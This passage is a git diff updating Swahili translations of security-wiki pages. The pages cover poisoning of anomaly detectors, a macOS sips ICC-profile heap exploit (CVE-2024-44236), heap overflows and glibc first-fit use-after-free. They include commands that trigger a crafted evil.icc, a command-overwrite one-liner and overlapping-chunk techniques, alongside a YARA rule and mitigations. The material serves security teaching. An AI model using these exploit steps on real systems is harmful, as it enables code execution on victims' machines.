zinabaki kama makundi madogo ya wiani wa chini au kama kelele safi.
Mfano – Kupata njia za C2 za beaconing @@ -472,15 +472,15 @@ print("Suspect beacon count:", len(suspects)) Kazi za hivi karibuni zimeonyesha kwamba **wajifunzaji wasio na uangalizi *sio* sugu kwa washambuliaji wa moja kwa moja**: -* **Upoisoning wa data dhidi ya waandishi wa anomali.** Chen *et al.* (IEEE S&P 2024) walionyesha kwamba kuongeza hata asilimia 3 ya trafiki iliyoundwa inaweza kubadilisha mpaka wa uamuzi wa Isolation Forest na ECOD ili mashambulizi halisi yaonekane kama ya kawaida. Waandishi walitoa PoC ya chanzo wazi (`udo-poison`) inayosawazisha kwa otomatiki alama za sumu. -* **Kuingiza nyuma katika mifano ya klasta.** Mbinu ya *BadCME* (BlackHat EU 2023) inaweka mfano mdogo wa kichocheo; kila wakati kichocheo hicho kinapojitokeza, mtafutaji anaye msingi wa K-Means kwa kimya huweka tukio ndani ya klasta “isiyo na madhara”. -* **Kuepuka DBSCAN/HDBSCAN.** Uchambuzi wa awali wa kitaaluma wa 2025 kutoka KU Leuven ulionyesha kwamba mshambuliaji anaweza kuunda mifumo ya beacon inayokusudia kuanguka ndani ya mapengo ya wingi, kwa ufanisi kuficha ndani ya lebo za *kelele*. +* **Upoisoning wa data dhidi ya waandishi wa anomali.** Chen *et al.* (IEEE S&P 2024) walionyesha kwamba kuongeza hata 3 % ya trafiki iliyoundwa kunaweza kubadilisha mpaka wa uamuzi wa Isolation Forest na ECOD ili mashambulizi halisi yaonekane kama ya kawaida. Waandishi walitoa PoC ya chanzo wazi (`udo-poison`) inayounda kwa otomatiki pointi za sumu. +* **Kuingiza nyuma katika mifano ya klasta.** Mbinu ya *BadCME* (BlackHat EU 2023) inaweka mfano mdogo wa kichocheo; kila wakati kichocheo hicho kinapojitokeza, mdetecta wa K-Means kwa kimya huweka tukio ndani ya klasta “isiyo na madhara”. +* **Kuepuka DBSCAN/HDBSCAN.** Uchambuzi wa awali wa kitaaluma wa 2025 kutoka KU Leuven ulionyesha kwamba mshambuliaji anaweza kuunda mifumo ya beacon inayokusudia kuanguka kwenye mapengo ya wingi, kwa ufanisi ikijificha ndani ya lebo za *kelele*. Mikakati inayopata umaarufu: -1. **Usafi wa mfano / TRIM.** Kabla ya kila kipindi cha upya, ondolewa alama 1–2 % zenye hasara kubwa (trimmed maximum likelihood) ili kufanya upoisoning kuwa ngumu zaidi. -2. **Kukusanya makubaliano.** Changanya waandishi kadhaa tofauti (mfano, Isolation Forest + GMM + ECOD) na panda alama ikiwa *mfano* wowote unalipua alama. Utafiti unaonyesha hii inainua gharama ya mshambuliaji kwa >10×. -3. **Ulinzi wa msingi wa umbali kwa klasta.** Hesabu upya klasta na `k` mbegu tofauti za nasibu na upuuze alama zinazohama mara kwa mara kati ya klasta. +1. **Usafi wa mfano / TRIM.** Kabla ya kila kipindi cha upya, ondolewa pointi 1–2 % zenye hasara kubwa zaidi (trimmed maximum likelihood) ili kufanya upoisoning kuwa mgumu zaidi. +2. **Kujumuisha makubaliano.** Changanya waandishi kadhaa tofauti (mfano, Isolation Forest + GMM + ECOD) na panda alama ikiwa *mfano* wowote utaflag pointi. Utafiti unaonyesha kwamba hii inainua gharama ya mshambuliaji kwa >10×. +3. **Ulinzi wa msingi wa umbali kwa klasta.** Hesabu upya klasta na `k` mbegu tofauti za nasibu na upuuze pointi zinazohama mara kwa mara kati ya klasta. --- @@ -491,7 +491,7 @@ Mikakati inayopata umaarufu: pyod benchmark --input logs.csv --label attack --n_jobs 8 ``` * **Anomalib v1.5** (Feb 2025) inazingatia maono lakini pia ina utekelezaji wa jumla wa **PatchCore** – muhimu kwa kugundua kurasa za phishing za picha. -* **scikit-learn 1.5** (Nov 2024) hatimaye inafichua `score_samples` kwa *HDBSCAN* kupitia kifungashio kipya cha `cluster.HDBSCAN`, hivyo huna haja ya pakiti ya kuchangia ya nje unapokuwa kwenye Python 3.12. +* **scikit-learn 1.5** (Nov 2024) hatimaye inafichua `score_samples` kwa *HDBSCAN* kupitia wrapper mpya ya `cluster.HDBSCAN`, hivyo huna haja ya pakiti ya kuchangia ya nje unapokuwa kwenye Python 3.12.
Mfano wa Haraka wa PyOD – ECOD + Mkusanyiko wa Isolation Forest @@ -516,7 +516,7 @@ evaluate_print("Ensemble", y_test, anomaly_scores) ## Marejeo - [HDBSCAN – Kundi la msingi wa wingi wa kihierarchi](https://github.com/scikit-learn-contrib/hdbscan) -- Chen, X. *et al.* “Kuhusu Uthibitisho wa Kugundua Mambo Yasiyo ya Kawaida kwa Kuingilia Kwenye Takwimu.” *Mkutano wa IEEE juu ya Usalama na Faragha*, 2024. +- Chen, X. *et al.* “Kuhusu Uthibitisho wa Kugundua Mambo Yasiyo ya Kawaida kwa Kuingilia Kwenye Data.” *Mkutano wa IEEE juu ya Usalama na Faragha*, 2024. diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index ea70df558..729aa0e06 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,7 +4,7 @@ ## Overview -Ukiukosefu wa **zero-write** katika Apple macOS **Scriptable Image Processing System** (`sips`) parser ya ICC profile (macOS 15.0.1, `sips-307`) unaruhusu mshambuliaji kuharibu metadata ya heap na kubadilisha primitive kuwa utekelezaji wa msimbo kamili. Kosa hili liko katika usimamizi wa uwanja wa `offsetToCLUT` wa lebo za `lutAToBType` (`mAB `) na `lutBToAType` (`mBA `). Ikiwa washambuliaji wataweka `offsetToCLUT == tagDataSize`, parser inafuta **bytes 16 baada ya mwisho wa buffer ya heap**. Heap spraying inaruhusu mshambuliaji kufuta muundo wa allocator au viashiria vya C++ ambavyo baadaye vitarejelewa, na kutoa mnyororo wa **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8). +Ushirikiano wa **zero-write** wa nje ya mipaka katika Apple macOS **Scriptable Image Processing System** (`sips`) parser ya profaili ya ICC (macOS 15.0.1, `sips-307`) unaruhusu mshambuliaji kuharibu metadata ya heap na kubadilisha primitive kuwa utekelezaji kamili wa msimbo. Kosa hili liko katika usimamizi wa uwanja wa `offsetToCLUT` wa lebo za `lutAToBType` (`mAB `) na `lutBToAType` (`mBA `). Ikiwa washambuliaji wataweka `offsetToCLUT == tagDataSize`, parser inafuta **bytes 16 baada ya mwisho wa buffer ya heap**. Heap spraying inaruhusu mshambuliaji kufuta muundo wa allocator au viashiria vya C++ ambavyo baadaye vitarejelewa, na kutoa mnyororo wa **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8). > Apple ilirekebisha kosa hili katika macOS Sonoma 15.2 / Ventura 14.7.1 (Oktoba 30, 2024). Toleo la pili (CVE-2025-24185) lilirekebishwa katika macOS 15.5 na iOS/iPadOS 18.5 mnamo Aprili 1, 2025. @@ -21,21 +21,21 @@ buffer[i] = 0; // no bounds check vs allocated size! 1. **Tengeneza profaili mbaya ya `.icc`** -* Weka kichwa kidogo cha ICC (`acsp`) na ongeza lebo moja `mAB ` (au `mBA `). +* Weka kichwa kidogo cha ICC (`acsp`) na ongeza lebo moja ya `mAB ` (au `mBA `). * Sanidi jedwali la lebo ili **`offsetToCLUT` iwe sawa na saizi ya lebo** (`tagDataSize`). -* Weka data inayodhibitiwa na mshambuliaji mara tu baada ya lebo ili kwamba maandiko 16 ya sifuri yachanganye metadata ya allocator. +* Weka data inayodhibitiwa na mshambuliaji mara baada ya lebo ili kwamba maandiko 16 ya sifuri yachanganye metadata ya allocator. 2. **Chochea uchambuzi kwa operesheni yoyote ya sips inayogusa profaili** ```bash -# njia ya uthibitisho (hakuna faili la pato linalohitajika) +# njia ya uthibitisho (hakuna faili la pato linahitajika) sips --verifyColor evil.icc # au kwa njia isiyo ya moja kwa moja wakati wa kubadilisha picha zinazojumuisha profaili sips -s format png payload.jpg --out out.png ``` -3. **Uharibifu wa metadata ya Heap ➜ andiko la kiholela ➜ ROP** -Katika **`nano_zone` allocator** ya Apple, metadata ya nafasi za byte 16 inapatikana **moja kwa moja baada** ya slab iliyopangwa ya 0x1000. Kwa kuweka lebo ya profaili mwishoni mwa slab kama hiyo, maandiko 16 ya sifuri yanaharibu `meta->slot_B`. Baada ya `free` inayofuata, kiashiria kilichoharibiwa kinajumuishwa kwenye orodha ndogo ya bure, ikimruhusu mshambuliaji **kuweka kitu bandia kwenye anwani yoyote** na kuandika tena kiashiria cha vtable cha C++ kinachotumiwa na sips, hatimaye kuhamasisha utekelezaji kwa mnyororo wa ROP uliohifadhiwa kwenye buffer mbaya ya ICC. +3. **Uharibifu wa metadata ya Heap ➜ kuandika bila mpangilio ➜ ROP** +Katika **`nano_zone` allocator** ya Apple, metadata ya nafasi za byte 16 inapatikana **moja kwa moja baada** ya slab iliyopangwa ya 0x1000. Kwa kuweka lebo ya profaili mwishoni mwa slab kama hiyo, maandiko 16 ya sifuri yanaharibu `meta->slot_B`. Baada ya `free` inayofuata, kiashiria kilichoharibiwa kinajumuishwa kwenye orodha ndogo ya bure, ikiruhusu mshambuliaji **kuweka kitu bandia kwenye anwani isiyo ya kawaida** na kuandika kiashiria cha vtable cha C++ kinachotumiwa na sips, hatimaye kuhamasisha utekelezaji kwa mnyororo wa ROP uliohifadhiwa kwenye buffer mbaya ya ICC. ### Mzushi wa PoC wa Haraka (Python 3) ```python @@ -55,7 +55,7 @@ profile += mab open('evil.icc', 'wb').write(profile) print('[+] Wrote evil.icc (%d bytes)' % len(profile)) ``` -### Sheria ya kugundua YARA +### YARA detection rule ```yara rule ICC_mAB_offsetToCLUT_anomaly { @@ -77,12 +77,12 @@ uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size ``` ## Impact -Kufungua au kushughulikia profaili ya ICC iliyoundwa kunasababisha **arbitrary code execution** kwa mbali katika muktadha wa mtumiaji anayeitisha (Preview, QuickLook, Safari image rendering, Mail attachments, nk.), ikipita Gatekeeper kwa sababu profaili inaweza kuingizwa ndani ya picha zisizo na madhara (PNG/JPEG/TIFF). +Kufungua au kushughulikia profaili ya ICC iliyoundwa husababisha **arbitrary code execution** ya mbali katika muktadha wa mtumiaji anayeitisha (Preview, QuickLook, Safari image rendering, Mail attachments, nk.), ikipita Gatekeeper kwa sababu profaili inaweza kuingizwa ndani ya picha zisizo na madhara (PNG/JPEG/TIFF). ## Detection & Mitigation * **Patch!** Hakikisha mwenyeji anatumia macOS ≥ 15.2 / 14.7.1 (au iOS/iPadOS ≥ 18.1). -* Tumia sheria ya YARA hapo juu kwenye lango la barua pepe na suluhisho za EDR. +* Tumia sheria ya YARA hapo juu kwenye lango za barua pepe na suluhisho za EDR. * Ondoa au safisha profaili za ICC zilizojumuishwa kwa `exiftool -icc_profile= -overwrite_original ` kabla ya kushughulikia zaidi kwenye faili zisizoaminika. * Imarisha Preview/QuickLook kwa kuzifanya zifanye kazi ndani ya VMs za “transparency & modernisation” zilizofungwa wakati wa kuchambua maudhui yasiyojulikana. * Kwa DFIR, angalia utekelezaji wa hivi karibuni wa `sips --verifyColor` au upakiaji wa maktaba ya `ColorSync` na programu zilizofungwa katika kumbukumbu iliyounganishwa. diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index c7929da45..d796eb1a6 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -6,36 +6,36 @@ Heap overflow ni kama [**stack overflow**](../stack-overflow/index.html) lakini katika heap. Kimsingi inamaanisha kwamba nafasi fulani ilihifadhiwa katika heap kuhifadhi data fulani na **data iliyohifadhiwa ilikuwa kubwa kuliko nafasi iliyohifadhiwa.** -Katika stack overflows tunajua kwamba baadhi ya register kama vile pointer ya maagizo au stack frame zitarejeshwa kutoka kwenye stack na inaweza kuwa na uwezekano wa kutumia hii. Katika kesi ya heap overflows, **hakuna taarifa nyeti iliyohifadhiwa kwa chaguo katika chunk ya heap ambayo inaweza kujaa.** Hata hivyo, inaweza kuwa taarifa nyeti au pointers, hivyo **ukali** wa udhaifu huu **unategemea** **ni data gani inaweza kuandikwa upya** na jinsi mshambuliaji anaweza kutumia hii. +Katika stack overflows tunajua kwamba baadhi ya register kama vile pointer ya maagizo au stack frame zitarejeshwa kutoka kwenye stack na inaweza kuwa na uwezekano wa kutumia hii. Katika kesi ya heap overflows, **hakuna taarifa nyeti iliyohifadhiwa kwa kawaida** katika kipande cha heap ambacho kinaweza kujaa. Hata hivyo, inaweza kuwa taarifa nyeti au pointers, hivyo **umuhimu** wa udhaifu huu **unategemea** **ni data gani inaweza kuandikwa upya** na jinsi mshambuliaji anaweza kutumia hii. > [!TIP] -> Ili kupata overflow offsets unaweza kutumia mifumo sawa kama katika [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets). +> Ili kupata overflow offsets unaweza kutumia mifumo ile ile kama katika [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets). ### Stack Overflows vs Heap Overflows -Katika stack overflows, mpangilio na data ambayo itakuwa katika stack wakati udhaifu unaweza kuchochewa ni wa kuaminika sana. Hii ni kwa sababu stack ni ya mstari, kila wakati ikiongezeka katika kumbukumbu inayopingana, katika **sehemu maalum za programu inayoendesha kumbukumbu ya stack kawaida huhifadhi aina sawa ya data** na ina muundo maalum na pointers kadhaa mwishoni mwa sehemu ya stack inayotumiwa na kila kazi. +Katika stack overflows, mpangilio na data ambayo itakuwa katika stack wakati udhaifu unaweza kuamshwa ni wa kuaminika sana. Hii ni kwa sababu stack ni ya mstari, kila wakati ikiongezeka katika kumbukumbu inayopingana, katika **sehemu maalum za programu inayoendesha kumbukumbu ya stack kwa kawaida huhifadhi aina sawa ya data** na ina muundo maalum na pointers kadhaa mwishoni mwa sehemu ya stack inayotumiwa na kila kazi. -Hata hivyo, katika kesi ya heap overflow, kumbukumbu inayotumika si ya mstari bali **chunks zilizotengwa kawaida ziko katika nafasi tofauti za kumbukumbu** (sio moja karibu na nyingine) kwa sababu ya **bins na maeneo** yanayogawanya allocations kwa ukubwa na kwa sababu **kumbukumbu iliyotolewa awali inatumika** kabla ya kutenga chunks mpya. Ni **ngumu kujua kitu ambacho kitakuwa kinagongana na kile kilicho hatarini** kwa heap overflow. Hivyo, wakati heap overflow inapatikana, inahitajika kupata **njia ya kuaminika kufanya kitu kinachotakiwa kuwa karibu katika kumbukumbu** na kile kinachoweza kujaa. +Hata hivyo, katika kesi ya heap overflow, kumbukumbu inayotumika si ya mstari bali **vipande vilivyotengwa kwa kawaida viko katika nafasi tofauti za kumbukumbu** (sio kando ya nyingine) kwa sababu ya **bins na maeneo** yanayotenganisha allocations kwa ukubwa na kwa sababu **kumbukumbu iliyotolewa awali inatumika** kabla ya kutenga vipande vipya. Ni **vigumu kujua kitu ambacho kitakuwa kinagongana na kile kilicho hatarini** kwa heap overflow. Hivyo, wakati heap overflow inapatikana, inahitajika kupata **njia ya kuaminika kufanya kitu kinachotakiwa kuwa karibu katika kumbukumbu** na kile kinachoweza kujaa. -Moja ya mbinu zinazotumika kwa hili ni **Heap Grooming** ambayo inatumika kwa mfano [**katika chapisho hili**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Katika chapisho inaelezwa jinsi wakati katika kernel ya iOS wakati eneo linapokosa kumbukumbu ya kuhifadhi chunks za kumbukumbu, linaipanua kwa ukurasa wa kernel, na ukurasa huu unagawanywa katika chunks za ukubwa unaotarajiwa ambazo zitatumika kwa mpangilio (hadi toleo la iOS 9.2, kisha chunks hizi zinatumika kwa njia ya nasibu ili kuleta ugumu katika unyakuzi wa mashambulizi haya). +Moja ya mbinu zinazotumika kwa hili ni **Heap Grooming** ambayo inatumika kwa mfano [**katika chapisho hili**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). Katika chapisho inaelezwa jinsi wakati katika kernel ya iOS wakati eneo linapokosa kumbukumbu ya kuhifadhi vipande vya kumbukumbu, linaipanua kwa ukurasa wa kernel, na ukurasa huu unagawanywa katika vipande vya ukubwa unaotarajiwa ambavyo vitatumika kwa mpangilio (hadi toleo la iOS 9.2, kisha vipande hivi vinatumika kwa njia ya nasibu ili kuleta ugumu katika unyakuzi wa mashambulizi haya). -Kwa hivyo, katika chapisho la awali ambapo heap overflow inatokea, ili kulazimisha kitu kilichojazwa kuungana na agizo la mwathirika, **`kallocs` kadhaa zinapaswa kulazimishwa na nyuzi kadhaa ili kujaribu kuhakikisha kwamba chunks zote za bure zimejaa na kwamba ukurasa mpya umeundwa**. +Hivyo, katika chapisho kilichotangulia ambapo heap overflow inatokea, ili kulazimisha kipande kilichojazwa kuingia katika mpangilio wa mwathirika, **`kallocs` kadhaa zinapaswa kulazimishwa na nyuzi kadhaa ili kujaribu kuhakikisha kwamba vipande vyote vilivyotolewa vimejaa na kwamba ukurasa mpya umeundwa**. Ili kulazimisha kujaza hili kwa vitu vya ukubwa maalum, **allocation ya nje ya mstari inayohusishwa na iOS mach port** ni mgombea bora. Kwa kubuni ukubwa wa ujumbe, inawezekana kubaini kwa usahihi ukubwa wa `kalloc` allocation na wakati mach port inayohusiana inaharibiwa, allocation inayohusiana itarejeshwa mara moja kwa `kfree`. -Kisha, baadhi ya hizi placeholders zinaweza kuwa **zimeachiliwa**. **Orodha ya bure ya `kalloc.4096` inatoa vipengele kwa mpangilio wa mwisho-kuingia-wa-kwanza**, ambayo kimsingi inamaanisha kwamba ikiwa baadhi ya placeholders zimeachiliwa na unyakuzi unajaribu kutenga vitu kadhaa vya mwathirika wakati akijaribu kutenga kitu kilicho hatarini kujaa, kuna uwezekano kwamba kitu hiki kitafuatiwa na kitu cha mwathirika. +Kisha, baadhi ya hizi placeholders zinaweza **kuachiliwa**. **Orodha ya bure ya `kalloc.4096` inatoa vipengele kwa mpangilio wa mwisho-kuingia-wa-kwanza**, ambayo kimsingi inamaanisha kwamba ikiwa baadhi ya placeholders zitaachiliwa na unyakuzi unajaribu kutenga vitu kadhaa vya mwathirika wakati akijaribu kutenga kipande kilicho hatarini kujaa, kuna uwezekano kwamba kipande hiki kitafuatiwa na kipande cha mwathirika. ### Example libc -[**Katika ukurasa huu**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) inawezekana kupata mfano wa msingi wa Heap overflow unaoonyesha jinsi ya kuandika upya prev in use bit ya chunk inayofuata na nafasi ya prev size inawezekana **kuunganisha chunk inayotumika** (kwa kumfanya aone kama haijatumika) na **kisha kuipatia tena** ikiwa na uwezo wa kuandika data inayotumika katika pointer tofauti pia. +[**Katika ukurasa huu**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) inawezekana kupata mfano wa msingi wa Heap overflow unaoonyesha jinsi ya kuandika upya prev in use bit ya kipande kinachofuata na nafasi ya prev size inawezekana **kuunganisha kipande kilichotumika** (kwa kulifanya kufikiri hakitumiki) na **kisha kukitenga tena** ikiwa na uwezo wa kuandika data inayotumiwa katika pointer tofauti pia. Mfano mwingine kutoka [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) unaonyesha mfano wa msingi wa CTF ambapo **heap overflow** inaweza kutumika kuita kazi ya mshindi ili **kupata bendera**. -Katika mfano wa [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) inawezekana kuona jinsi ya kutumia overflow ya buffer inawezekana **kuandika upya katika chunk ya karibu anwani** ambapo **data ya kiholela kutoka kwa mtumiaji** itakuwa imeandikwa. +Katika mfano wa [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) inawezekana kuona jinsi ya kutumia overflow ya buffer inawezekana **kuandika upya katika kipande kilichokaribu anwani** ambapo **data isiyo na mpangilio kutoka kwa mtumiaji** itakuwa imeandikwa. ### Example ARM64 -Katika ukurasa [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) unaweza kupata mfano wa heap overflow ambapo amri ambayo itatekelezwa inahifadhiwa katika chunk ifuatayo kutoka kwa chunk iliyojazwa. Hivyo, inawezekana kubadilisha amri inayotekelezwa kwa kuandika upya kwa unyakuzi rahisi kama: +Katika ukurasa [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) unaweza kupata mfano wa heap overflow ambapo amri ambayo itatekelezwa inahifadhiwa katika kipande kinachofuata kutoka kwa kipande kilichojazwa. Hivyo, inawezekana kubadilisha amri inayotekelezwa kwa kuandika upya kwa unyakuzi rahisi kama: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` @@ -57,7 +57,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */ "%s%s%s%s", /* format */ "/", "https://", path, host); ``` -`__sprintf_chk` ni sehemu ya **_FORTIFY_SOURCE**. Wakati inapata parameter ya **chaguo** `size` yenye **thamani chanya**, inathibitisha kwamba string inayotokana inafaa ndani ya buffer ya marudio. Kwa kupitisha **`-1` (0xFFFFFFFFFFFFFFFF)** waendelezaji kwa ufanisi **walizima ukaguzi wa mipaka**, wakirudisha wito ulioimarishwa kuwa `sprintf` ya kawaida, isiyo salama. +`__sprintf_chk` ni sehemu ya **_FORTIFY_SOURCE**. Wakati inapata parameter ya **chaguo** `size` yenye **thamani chanya**, inathibitisha kwamba string inayotokana inafaa ndani ya buffer ya marudio. Kwa kupitisha **`-1` (0xFFFFFFFFFFFFFFFF)**, waendelezaji kwa ufanisi **walizima ukaguzi wa mipaka**, wakirudisha wito ulioimarishwa kuwa `sprintf` ya kawaida, isiyo salama. Kutoa kichwa cha **`Host:`** chenye urefu kupita kiasi hivyo inaruhusu mshambuliaji **kuvuka kipande cha 0x80-byte na kuharibu metadata ya kipande kinachofuata cha heap** (tcache / fast-bin / small-bin kulingana na mtoaji). Crash inaweza kuzalishwa kwa: ```python diff --git a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md index d03570bfe..8a847ec99 100644 --- a/src/binary-exploitation/libc-heap/use-after-free/first-fit.md +++ b/src/binary-exploitation/libc-heap/use-after-free/first-fit.md @@ -8,11 +8,11 @@ Wakati unachomoa kumbukumbu katika programu ukitumia glibc, "bins" tofauti zinat ### Bins Zisizo na Mpangilio -Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinapowekwa mbele (the "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma (the "tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka kwenye bin isiyo na mpangilio ni kikubwa kuliko unavyohitaji, kinagawanywa, ambapo sehemu ya mbele inarudishwa na sehemu iliyobaki inabaki kwenye bin. +Wakati unachomoa kipande cha kumbukumbu ambacho si kipande cha haraka, kinaenda kwenye bin isiyo na mpangilio. Bin hii inafanya kazi kama orodha ambapo vipande vipya vilivyotolewa vinaongezwa mbele (the "head"). Wakati unahitaji kipande kipya cha kumbukumbu, mtoaji anatazama bin isiyo na mpangilio kutoka nyuma (the "tail") ili kupata kipande ambacho ni kikubwa vya kutosha. Ikiwa kipande kutoka bin isiyo na mpangilio ni kikubwa zaidi ya kile unachohitaji, kinagawanywa, ambapo sehemu ya mbele inarudishwa na sehemu iliyobaki inabaki kwenye bin. Mfano: -- Unapoweka 300 bytes (`a`), kisha 250 bytes (`b`), kisha unachomoa `a` na kuomba tena 250 bytes (`c`). +- Unapotoa 300 bytes (`a`), kisha 250 bytes (`b`), kisha unachomoa `a` na kuomba tena 250 bytes (`c`). - Wakati unachomoa `a`, inaenda kwenye bin isiyo na mpangilio. - Ikiwa kisha unahitaji 250 bytes tena, mtoaji anapata `a` kwenye tail na kuigawanya, akirudisha sehemu inayofaa ombi lako na kuweka zingine kwenye bin. - `c` itakuwa ikielekeza kwenye `a` ya awali na kujazwa na maudhui ya `a`. @@ -24,7 +24,7 @@ char *c = malloc(250); ``` ### Fastbins -Fastbins zinatumika kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins zinaongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator atavuta kutoka kwenye kichwa cha fastbin. +Fastbins zinatumika kwa vipande vidogo vya kumbukumbu. Tofauti na unsorted bins, fastbins zinaongeza vipande vipya kwenye kichwa, na kuunda tabia ya last-in-first-out (LIFO). Ikiwa unahitaji kipande kidogo cha kumbukumbu, allocator itavuta kutoka kwenye kichwa cha fastbin. Mfano: ```c @@ -44,10 +44,10 @@ d = malloc(20); // a --- ### 🔥 Mambo ya kisasa ya glibc (tcache ≥ 2.26) -Tangu glibc 2.26 kila thread inashikilia **tcache** yake ambayo inachunguzwa *kabla* ya bin isiyo na mpangilio. Hivyo basi, hali ya first-fit itafikiwa **tu ikiwa**: +Tangu glibc 2.26 kila thread inashikilia **tcache** yake ambayo inachunguzwa *kabla ya* bin isiyo na mpangilio. Hivyo basi, hali ya first-fit itafikiwa **tu ikiwa**: -1. Ukubwa ulioombwa ni **kubwa zaidi ya `tcache_max`** (0x420 kwenye 64-bit kwa chaguo-msingi), *au* -2. Bin inayohusiana ya tcache **tayari imejaa au imeondolewa kwa mikono** (kwa kugawa vipengele 7 na kuviweka katika matumizi). +1. Ukubwa ulioombwa ni **kubwa kuliko `tcache_max`** (0x420 kwenye 64-bit kwa chaguo-msingi), *au* +2. Bin inayohusiana ya tcache **tayari imejaa au kutolewa kwa mikono** (kwa kugawa vipengele 7 na kuviweka katika matumizi). Katika mashambulizi halisi, kwa kawaida utaongeza utaratibu wa msaada kama: ```c @@ -55,12 +55,12 @@ Katika mashambulizi halisi, kwa kawaida utaongeza utaratibu wa msaada kama: for(int i = 0; i < 7; i++) pool[i] = malloc(0x100); for(int i = 0; i < 7; i++) free(pool[i]); ``` -Mara tcache imechoka, uhuru unaofuata huenda kwenye bin isiyo na mpangilio na tabia ya classic first-fit (kutafuta mkia, kuingiza kichwa) inaweza kuchochewa tena. +Once the tcache is exhausted, subsequent frees go to the unsorted bin and classic first-fit behaviour (tail search, head insertion) can be triggered again. --- -### 🚩 Kuunda UAF ya kipande kinachovuka na first-fit +### 🚩 Kuunda UAF ya kipande kinachoshirikiana na first-fit -Sehemu iliyo hapa chini (iliyopimwa kwenye glibc 2.38) inaonyesha jinsi splitter katika bin isiyo na mpangilio inaweza kutumika vibaya kuunda viashiria 2 **vinavyovuka** – primitive yenye nguvu inayobadilisha uhuru mmoja kuwa kuandika-baada-ya-uhuru. +The fragment below (tested on glibc 2.38) shows how the splitter in the unsorted bin can be abused to create 2 **overlapping pointers** – a powerful primitive that converts a single free into a write-after-free. ```c #include #include @@ -114,15 +114,15 @@ A practical application can be found in the 2024 HITCON Quals *Setjmp* challenge - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) -- ARM64. Tumia baada ya kuachiliwa: Tengeneza kitu cha mtumiaji, kiache, tengeneza kitu kinachopata kipande kilichoachiliwa na kuruhusu kuandika ndani yake, **kuandika nafasi ya mtumiaji->nenosiri** kutoka kwa ile ya awali. Tumia tena mtumiaji ili **kupita ukaguzi wa nenosiri** +- ARM64. Tumia baada ya kuachia: Tengeneza kitu cha mtumiaji, kiache, tengeneza kitu kinachopata kipande kilichoachwa na ruhusu kuandika ndani yake, **kuandika nafasi ya mtumiaji->nenosiri** kutoka kwa ile ya awali. Tumia tena mtumiaji ili **kupita ukaguzi wa nenosiri** - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - Programu inaruhusu kuunda noti. Noti itakuwa na taarifa za noti katika malloc(8) (ikiwa na kiashiria kwa kazi inayoweza kuitwa) na kiashiria kwa malloc nyingine () yenye maudhui ya noti. -- Shambulio litakuwa kuunda noti 2 (note0 na note1) zikiwa na maudhui makubwa ya malloc kuliko saizi ya taarifa za noti na kisha kuziachilia ili ziingie kwenye fast bin (au tcache). -- Kisha, tengeneza noti nyingine (note2) yenye saizi ya maudhui 8. Maudhui yatakuwa katika note1 kwani kipande kitarejelewa, ambapo tunaweza kubadilisha kiashiria cha kazi kuashiria kazi ya ushindi na kisha Tumia-Baada-ya-Kuachiliwa note1 ili kuita kiashiria kipya cha kazi. +- Shambulio litakuwa kuunda noti 2 (note0 na note1) zikiwa na maudhui makubwa ya malloc kuliko saizi ya taarifa za noti na kisha kuziachia ili ziingie kwenye fast bin (au tcache). +- Kisha, tengeneza noti nyingine (note2) yenye saizi ya maudhui 8. Maudhui yatakuwa katika note1 kwani kipande kitarejelewa, ambapo tunaweza kubadilisha kiashiria cha kazi kuashiria kazi ya ushindi na kisha Tumia-Baada-ya-Kuachia note1 ili kuita kiashiria kipya cha kazi. - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) -- Inawezekana kualloc baadhi ya kumbukumbu, kuandika thamani 